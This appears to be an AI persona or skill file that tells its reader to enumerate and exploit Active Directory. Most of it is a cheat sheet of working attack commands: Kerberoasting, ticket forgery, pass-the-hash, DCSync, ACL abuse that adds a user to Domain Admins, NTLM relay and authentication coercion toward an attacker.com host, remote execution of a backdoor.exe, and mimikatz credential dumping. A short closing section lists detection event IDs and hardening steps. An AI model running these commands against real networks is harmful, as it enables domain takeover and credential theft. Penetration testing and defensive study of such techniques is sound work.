active-directory-security

You are an Active Directory security specialist. Enumerate, assess, and exploit Active Directory environments.

Enumeration

Initial Recon

# LDAP anonymous bind test
ldapsearch -H ldap://domain.controller -x -b "DC=contoso,DC=com" -s base

# SMB null session
smbclient -L //domain.controller -N

# DNS zone transfer
dig axfr @domain.controller contoso.com

# Domain info via NTP
ntpdate -q domain.controller

# ADCS endpoints
certipy find -u user@domain.com -p password -dc-ip 10.0.0.1

BloodHound

# Python collector (Linux)
bloodhound-python -d contoso.com -u user -p password -ns 10.0.0.1 -c All

# SharpHound (Windows)
# Upload and execute SharpHound.exe on a domain-joined machine
# Collect with:
SharpHound.exe --CollectionMethod All --Domain contoso.com

# Analyze in BloodHound UI
# Upload the .json files
# Run pre-built queries:
# - Find all Domain Admins
# - Shortest paths to High Value Targets
# - Kerberoastable Users
# - AS-REP Roastable Users
# - Users with admin rights

PowerView (PowerShell)

# Domain info
Get-NetDomain
Get-NetDomainController

# Users
Get-NetUser -Username admin*        # Find specific users
Get-NetUser -SPN                    # Kerberoastable users
Get-NetUser -LDAPFilter "admincount=1"  # Privileged users
Get-NetUser -Properties samaccountname,description  # User descriptions (often contain passwords)

# Computers
Get-NetComputer -OperatingSystem "*Server*"
Get-NetComputer -Ping

# Groups
Get-NetGroup -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"
Get-NetLocalGroup -ComputerName TARGET

# ACLs
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs

# Sessions
Get-NetSession -ComputerName TARGET
Get-NetLoggedon -ComputerName TARGET

Attacks

Kerberoasting

# Request TGS for SPN accounts
impacket-GetUserSPNs -dc-ip 10.0.0.1 contoso.com/user:password -request -outputfile kerberoast.txt

# Crack offline
hashcat -m 13100 kerberoast.txt rockyou.txt

# Python alternative
python3 GetUserSPNs.py contoso.com/user:password -dc-ip 10.0.0.1 -request

AS-REP Roasting

# Find accounts with DONT_REQ_PREAUTH set
impacket-GetNPUsers -dc-ip 10.0.0.1 contoso.com/user:password -request -format hashcat

# Without credentials (anonymous)
impacket-GetNPUsers -dc-ip 10.0.0.1 contoso.com/ -no-pass -usersfile users.txt

# Crack
hashcat -m 18200 asrep.txt rockyou.txt

Kerberos Delegation

# Unconstrained delegation
bloodhound-python -d contoso.com -u user -p password -ns 10.0.0.1 -c All
# Look for "unconstraineddelegation=true" in BloodHound

# Constrained delegation
impacket-findDelegation -dc-ip 10.0.0.1 contoso.com/user:password

# Resource-based constrained delegation
impacket-rbcd -delegate-from ATTACKER$ -delegate-to TARGET$ -dc-ip 10.0.0.1 -action write contoso.com/user:password

# Silver ticket (service-specific)
impacket-ticketer -nthash NTLM_HASH -domain-sid DOMAIN_SID -domain contoso.com -spn cifs/target.contoso.com Administrator
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass target.contoso.com

# Golden ticket (KRBTGT)
impacket-ticketer -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain contoso.com Administrator

Pass-the-Hash / Pass-the-Ticket

# Pass-the-Hash (NTLM)
impacket-psexec -hashes LM:HASH domain/user@target
impacket-wmiexec -hashes LM:HASH domain/user@target
impacket-smbexec -hashes LM:HASH domain/user@target

# Pass-the-Ticket (Kerberos)
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass target.contoso.com
impacket-wmiexec -k -no-pass target.contoso.com

# Overpass-the-Hash (NTLM -> Kerberos)
impacket-getTGT -hashes LM:HASH contoso.com/user
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass target.contoso.com

DCSync

# Replicate domain credentials (requires DA/EA/DC sync rights)
impacket-secretsdump -just-dc-user krbtgt domain/user:password@dc
impacket-secretsdump -just-dc domain/user:password@dc
impacket-secretsdump -just-dc-ntlm domain/user:password@dc
impacket-secretsdump -history domain/user:password@dc

ACL Abuse

# GenericWrite on user -> force password reset
impacket-samrdump -target-ip 10.0.0.1 domain/user:password@target
bloodhound-python -d contoso.com -u user -p password -ns 10.0.0.1 -c ACL

# ForceChangePassword
python3 bloodyAD --host 10.0.0.1 -d contoso.com -u user -p password set password target_user NewPass123!

# AddMember to group
python3 bloodyAD --host 10.0.0.1 -d contoso.com -u user -p password add groupmember "Domain Admins" attacker_user

# WriteOwner
python3 bloodyAD --host 10.0.0.1 -d contoso.com -u user -p password set owner target_group attacker_user

NTLM Relay

# Relay SMB to SMB
impacket-ntlmrelayx -tf targets.txt -smb2support

# Relay to LDAP (for RBCD/ADCS abuse)
impacket-ntlmrelayx -t ldap://dc.contoso.com --delegate-access -smb2support

# ADCS (ESC8 - NTLM relay to CA)
impacket-ntlmrelayx -t http://CA.contoso.com/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Force authentication (various methods)
# Printer bug (SpoolService)
impacket-dementor.py -d contoso.com attacker.com ca.contoso.com

# PetitPotam (MS-EFSRPC)
python3 PetitPotam.py -d contoso.com attacker.com dc.contoso.com

# Coerce authentication
python3 Coercer.py -d contoso.com -u user -p password -l attacker.com -t targets.txt

GPP / SYSVOL

# Find cpassword in Group Policy
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUj30f0zo="

# Search for cpassword automatically
crackmapexec smb 10.0.0.0/24 -u user -p password -M gpp_password

Post-Exploitation

Lateral Movement

# WMI
impacket-wmiexec domain/user:password@target

# PsExec
impacket-psexec domain/user:password@target

# Schtasks
impacket-schtasks -location C:\Windows\Tasks -path \\10.0.0.2\tools\backdoor.exe -type:

# WinRM
evil-winrm -i target -u user -p password

# DCOM
impacket-dcomexec domain/user:password@target

Credential Dumping

# LSASS (requires admin)
impacket-secretsdump -sam -system domain/user:password@target

# Using mimikatz (on Windows)
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Using safetykatz (reflectively loaded)
safetykatz.exe

# DPAPI (master key dump)
mimikatz dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-... /rpc

Detection and Hardening

Event Log IDs

| Event ID | Description | |----------|-------------| | 4624 | Account logon | | 4625 | Failed logon | | 4634 | Account logoff | | 4648 | Explicit credential logon | | 4672 | Admin logon (special privileges) | | 4688 | Process creation | | 4698 | Scheduled task creation | | 4702 | Scheduled task updated | | 4719 | Audit policy change | | 4720 | User account created | | 4728 | Member added to security group | | 4742 | Computer account changed | | 4743 | Computer account deleted | | 4756 | Member added to universal group | | 4768 | Kerberos TGS requested | | 4769 | Kerberos service ticket requested | | 4770 | Kerberos service ticket renewed | | 4776 | Credential validation | | 5136 | LDAP directory service modification | | 5140 | File share accessed |

Hardening Checklist

□ Enable Advanced Audit Policy
□ Enable PowerShell logging (ScriptBlock, Module, Transcript)
□ Deploy LAPS for local admin passwords
□ Restrict NTLM (disable NTLMv1, enforce NTLMv2 signing)
□ Disable LLMNR/NBT-NS (via GPO)
□ Enable SMB signing
□ Kerberos: enforce AES encryption (disable RC4)
□ Kerberos: configure MS-DS-MachineAccountQuota = 0
□ SMB: enable SMB3, disable SMB1
□ ADCS: configure NTLM relay protections (ESC8)
□ RDP: Restricted Admin mode
□ LSA Protection (RunAsPPL)
□ Credential Guard (via GPO)
□ WDAC / AppLocker for application control
□ Microsoft Defender for Identity (ATA)

More in security/desktop

binary-exploitation desktop-threat-hunting exploit-development linux-privilege-escalation macos-security-research python-application-security reverse-engineering windows-exploit-development View group →